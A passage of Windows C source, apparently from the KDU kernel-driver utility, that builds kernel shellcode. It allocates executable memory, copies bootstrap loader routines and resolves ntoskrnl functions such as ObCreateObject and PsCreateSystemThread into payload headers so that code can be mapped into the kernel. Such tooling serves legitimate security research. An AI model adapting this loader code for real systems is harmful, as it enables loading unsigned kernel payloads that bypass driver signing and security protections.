regPath.Length = (USHORT)(_strlen(regPath.Buffer) * sizeof(WCHAR));
|
|
regPath.MaximumLength = regPath.Length + sizeof(WCHAR);
|
|
regPath.Buffer[regPath.Length / sizeof(WCHAR)] = UNICODE_NULL;
|
|
|
|
RtlCopyMemory(&pvPayloadHead.Version.v3->RegistryPath,
|
|
®Path,
|
|
sizeof(FIXED_UNICODE_STRING));
|
|
|
|
break;
|
|
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V2:
|
|
case KDU_SHELLCODE_V1:
|
|
//
|
|
// Nothing.
|
|
//
|
|
default:
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* ScFree
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Release shellcode buffer memory.
|
|
*
|
|
*/
|
|
VOID ScFree(
|
|
_In_ PVOID ScBuffer,
|
|
_In_ ULONG ScSize
|
|
)
|
|
{
|
|
supFreeLockedMemory(ScBuffer, ScSize);
|
|
}
|
|
|
|
/*
|
|
* ScBuildInitCodeForVersion
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Store init code for shellcode version specific.
|
|
*
|
|
*/
|
|
BOOL ScBuildInitCodeForVersion(
|
|
_In_ ULONG ShellVersion,
|
|
_In_ PSHELLCODE pvShellCode
|
|
)
|
|
{
|
|
PVOID pvInitCode;
|
|
ULONG initSize = 0;
|
|
|
|
//
|
|
// Fill entire init code with int 3
|
|
//
|
|
RtlFillMemory(pvShellCode->InitCode, sizeof(pvShellCode->InitCode), 0xCC);
|
|
|
|
//
|
|
// Select and copy code.
|
|
//
|
|
pvInitCode = ScGetBootstrapLdr(ShellVersion, &initSize);
|
|
if (initSize > sizeof(pvShellCode->InitCode)) {
|
|
return FALSE;
|
|
}
|
|
|
|
RtlCopyMemory(pvShellCode->InitCode, pvInitCode, initSize);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* ScAllocate
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Allocate main shellcode buffer in memory, setup init code and import which is not version specific.
|
|
*
|
|
*/
|
|
PVOID ScAllocate(
|
|
_In_ ULONG ShellVersion,
|
|
_In_ HANDLE SectionHandle,
|
|
_In_ SIZE_T SectionViewSize,
|
|
_In_ ULONG_PTR KernelImage,
|
|
_In_ ULONG_PTR KernelBase,
|
|
_In_ ULONG MemoryTag,
|
|
_Out_ PULONG ShellSize
|
|
)
|
|
{
|
|
DWORD scSize;
|
|
PSHELLCODE pvShellCode = NULL;
|
|
PVOID pvBootstrap;
|
|
|
|
PBYTE procPtr = NULL;
|
|
|
|
ULONG procSize, bootstrapSize;
|
|
|
|
*ShellSize = 0;
|
|
|
|
bootstrapSize = BOOTSTRAPCODE_SIZE_V1;
|
|
scSize = ScSizeOf(ShellVersion, NULL);
|
|
|
|
switch (ShellVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
procPtr = (PBYTE)ScLoaderRoutineV1;
|
|
break;
|
|
case KDU_SHELLCODE_V3:
|
|
procPtr = (PBYTE)ScDispatchRoutineV3;
|
|
break;
|
|
case KDU_SHELLCODE_V2:
|
|
procPtr = (PBYTE)ScDispatchRoutineV2;
|
|
break;
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
procPtr = (PBYTE)ScDispatchRoutineV1;
|
|
break;
|
|
}
|
|
|
|
procSize = ScSizeOfProc(procPtr);
|
|
if (procSize > bootstrapSize) {
|
|
|
|
supPrintfEvent(kduEventError,
|
|
"[!] Bootstrap code size 0x%lX exceeds limit 0x%lX, abort\r\n",
|
|
procSize,
|
|
bootstrapSize);
|
|
|
|
#ifndef _DEBUG
|
|
return NULL;
|
|
#endif
|
|
}
|
|
|
|
pvShellCode = (SHELLCODE*)supAllocateLockedMemory(scSize,
|
|
MEM_RESERVE | MEM_COMMIT,
|
|
PAGE_EXECUTE_READWRITE);
|
|
|
|
if (pvShellCode == NULL)
|
|
return NULL;
|
|
|
|
pvBootstrap = pvShellCode->BootstrapCode;
|
|
|
|
switch (ShellVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V3:
|
|
case KDU_SHELLCODE_V2:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
pvShellCode->Tag = MemoryTag;
|
|
pvShellCode->SectionHandle = SectionHandle;
|
|
pvShellCode->SectionViewSize = SectionViewSize;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Build initial loader code part.
|
|
//
|
|
if (!ScBuildInitCodeForVersion(ShellVersion, pvShellCode)) {
|
|
ScFree(pvShellCode, scSize);
|
|
return NULL;
|
|
}
|
|
|
|
#ifdef _DEBUG
|
|
|
|
UNREFERENCED_PARAMETER(KernelBase);
|
|
UNREFERENCED_PARAMETER(KernelImage);
|
|
|
|
//
|
|
// Remember function pointers.
|
|
//
|
|
ScBuildShellImportDebug(ShellVersion, pvShellCode);
|
|
|
|
//
|
|
// Shellcode test, unused in Release build.
|
|
//
|
|
|
|
DEVICE_OBJECT devObject;
|
|
DRIVER_OBJECT drvObject;
|
|
IRP tempIrp;
|
|
|
|
RtlSecureZeroMemory(&tempIrp, sizeof(tempIrp));
|
|
RtlSecureZeroMemory(&devObject, sizeof(devObject));
|
|
RtlSecureZeroMemory(&drvObject, sizeof(DRIVER_OBJECT));
|
|
|
|
devObject.SectorSize = 0;
|
|
devObject.DriverObject = &drvObject;
|
|
drvObject.MajorFunction[IRP_MJ_PNP] = (PVOID)0x0BADBEFF1CEDC01A;
|
|
|
|
*ShellSize = procSize;
|
|
|
|
ScDispatchRoutineDebugSelector(ShellVersion, pvShellCode, &devObject, &tempIrp);
|
|
#else
|
|
|
|
printf_s("[+] Resolving base shellcode import\r\n");
|
|
|
|
if (!ScBuildShellImport(ShellVersion,
|
|
pvShellCode,
|
|
KernelBase,
|
|
KernelImage))
|
|
{
|
|
ScFree(pvShellCode, scSize);
|
|
|
|
supPrintfEvent(kduEventError,
|
|
"[!] Failed to resolve base shellcode import\r\n");
|
|
|
|
return NULL;
|
|
}
|
|
|
|
__try {
|
|
RtlCopyMemory(pvBootstrap, procPtr, procSize);
|
|
//supWriteBufferToFile((PWSTR)L"C:\\install\\out2.bin", pvBootstrap, procSize, FALSE, FALSE, NULL);
|
|
////((void(*)())ShellCode.Version.v1->InitCode)();
|
|
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
|
|
ScFree(pvShellCode, scSize);
|
|
|
|
supPrintfEvent(kduEventError,
|
|
"[!] Exception during building shellcode, 0x%lX\r\n",
|
|
GetExceptionCode());
|
|
|
|
return NULL;
|
|
}
|
|
|
|
*ShellSize = procSize;
|
|
|
|
#endif
|
|
|
|
return pvShellCode;
|
|
}
|
|
|
|
/*
|
|
* ScCreateFixedUnicodeString
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Create UNICODE_STRING with fixed maximum (FIXED_UNICODE_STRING_LENGTH) size buffer.
|
|
*
|
|
*/
|
|
BOOLEAN ScCreateFixedUnicodeString(
|
|
_Inout_ PFIXED_UNICODE_STRING DestinationString,
|
|
_In_ PCWSTR SourceString
|
|
)
|
|
{
|
|
ULONG cb;
|
|
|
|
cb = sizeof(UNICODE_NULL) + ((ULONG)_strlen(SourceString) * sizeof(WCHAR));
|
|
if (cb > FIXED_UNICODE_STRING_LENGTH * sizeof(WCHAR)) {
|
|
return FALSE;
|
|
}
|
|
else {
|
|
RtlCopyMemory(DestinationString->Buffer, SourceString, cb);
|
|
DestinationString->Length = (USHORT)(cb - sizeof(UNICODE_NULL));
|
|
DestinationString->MaximumLength = (USHORT)cb;
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* ScResolveImportForPayload
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Resolve ntoskrnl import specific for payload per version.
|
|
*
|
|
*/
|
|
BOOLEAN ScResolveImportForPayload(
|
|
_In_ ULONG ShellVersion,
|
|
_In_ PVOID PayloadHead,
|
|
_In_ ULONG_PTR KernelImage,
|
|
_In_ ULONG_PTR KernelBase
|
|
)
|
|
{
|
|
union {
|
|
union {
|
|
PAYLOAD_HEADER_V1* v1;
|
|
PAYLOAD_HEADER_V2* v2;
|
|
PAYLOAD_HEADER_V3* v3;
|
|
} Version;
|
|
PVOID Ref;
|
|
} pvPayloadHead;
|
|
|
|
pfnZwClose ZwClosePtr;
|
|
pfnExQueueWorkItem ExQueueWorkItemPtr;
|
|
pfnPsCreateSystemThread PsCreateSystemThreadPtr;
|
|
|
|
PVOID IoDriverObjectTypePtr;
|
|
pfnObCreateObject ObCreateObjectPtr;
|
|
pfnObInsertObject ObInsertObjectPtr;
|
|
pfnObMakeTemporaryObject ObMakeTemporaryObjectPtr;
|
|
pfnZwMakeTemporaryObject ZwMakeTemporaryObjectPtr;
|
|
|
|
#ifdef _DEBUG
|
|
UNREFERENCED_PARAMETER(KernelBase);
|
|
UNREFERENCED_PARAMETER(KernelImage);
|
|
#endif
|
|
|
|
pvPayloadHead.Ref = PayloadHead;
|
|
|
|
switch (ShellVersion) {
|
|
|
|
case KDU_SHELLCODE_V3:
|
|
|
|
#ifdef _DEBUG
|
|
g_DummyULONG64 = 0;
|
|
IoDriverObjectTypePtr = &g_DummyULONG64;
|
|
ObCreateObjectPtr = ObCreateObjectTest;
|
|
ObInsertObjectPtr = ObInsertObjectTest;
|
|
ObMakeTemporaryObjectPtr = ObMakeTemporaryObjectTest;
|
|
ZwMakeTemporaryObjectPtr = ZwMakeTemporaryObjectTest;
|
|
ZwClosePtr = ZwCloseTest;
|
|
#else
|
|
IoDriverObjectTypePtr =
|
|
(PVOID)ScResolveFunctionByName(KernelBase, KernelImage, "IoDriverObjectType");
|
|
ASSERT_RESOLVED_FUNC_ABORT(IoDriverObjectTypePtr);
|
|
|
|
ObCreateObjectPtr =
|
|
(pfnObCreateObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObCreateObject");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ObCreateObjectPtr);
|
|
|
|
ObInsertObjectPtr =
|
|
(pfnObInsertObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObInsertObject");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ObInsertObjectPtr);
|
|
|
|
ObMakeTemporaryObjectPtr =
|
|
(pfnObMakeTemporaryObject)ScResolveFunctionByName(KernelBase, KernelImage, "ObMakeTemporaryObject");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ObMakeTemporaryObjectPtr);
|
|
|
|
ZwMakeTemporaryObjectPtr =
|
|
(pfnZwMakeTemporaryObject)ScResolveFunctionByName(KernelBase, KernelImage, "ZwMakeTemporaryObject");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ZwMakeTemporaryObjectPtr);
|
|
|
|
ZwClosePtr =
|
|
(pfnZwClose)ScResolveFunctionByName(KernelBase, KernelImage, "ZwClose");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ZwClosePtr);
|
|
#endif
|
|
|
|
pvPayloadHead.Version.v3->IoDriverObjectType = IoDriverObjectTypePtr;
|
|
pvPayloadHead.Version.v3->ObCreateObject = ObCreateObjectPtr;
|
|
pvPayloadHead.Version.v3->ObInsertObject = ObInsertObjectPtr;
|
|
pvPayloadHead.Version.v3->ObMakeTemporaryObject = ObMakeTemporaryObjectPtr;
|
|
pvPayloadHead.Version.v3->ZwMakeTemporaryObject = ZwMakeTemporaryObjectPtr;
|
|
pvPayloadHead.Version.v3->ZwClose = ZwClosePtr;
|
|
|
|
break;
|
|
|
|
case KDU_SHELLCODE_V2:
|
|
|
|
#ifdef _DEBUG
|
|
ExQueueWorkItemPtr = ExQueueWorkItemTest;
|
|
#else
|
|
ExQueueWorkItemPtr =
|
|
(pfnExQueueWorkItem)ScResolveFunctionByName(KernelBase, KernelImage, "ExQueueWorkItem");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ExQueueWorkItemPtr);
|
|
#endif
|
|
pvPayloadHead.Version.v2->ExQueueWorkItem = ExQueueWorkItemPtr;
|
|
|
|
break;
|
|
|
|
case KDU_SHELLCODE_V4:
|
|
case KDU_SHELLCODE_V1:
|
|
default:
|
|
|
|
#ifdef _DEBUG
|
|
ZwClosePtr = ZwCloseTest;
|
|
PsCreateSystemThreadPtr = PsCreateSystemThreadTest;
|
|
#else
|
|
ZwClosePtr =
|
|
(pfnZwClose)ScResolveFunctionByName(KernelBase, KernelImage, "ZwClose");
|
|
ASSERT_RESOLVED_FUNC_ABORT(ZwClosePtr);
|
|
|
|
PsCreateSystemThreadPtr =
|
|
(pfnPsCreateSystemThread)ScResolveFunctionByName(KernelBase, KernelImage, "PsCreateSystemThread");
|
|
ASSERT_RESOLVED_FUNC_ABORT(PsCreateSystemThreadPtr);
|
|
#endif
|
|
|
|
pvPayloadHead.Version.v1->PsCreateSystemThread = PsCreateSystemThreadPtr;
|
|
pvPayloadHead.Version.v1->ZwClose = ZwClosePtr;
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|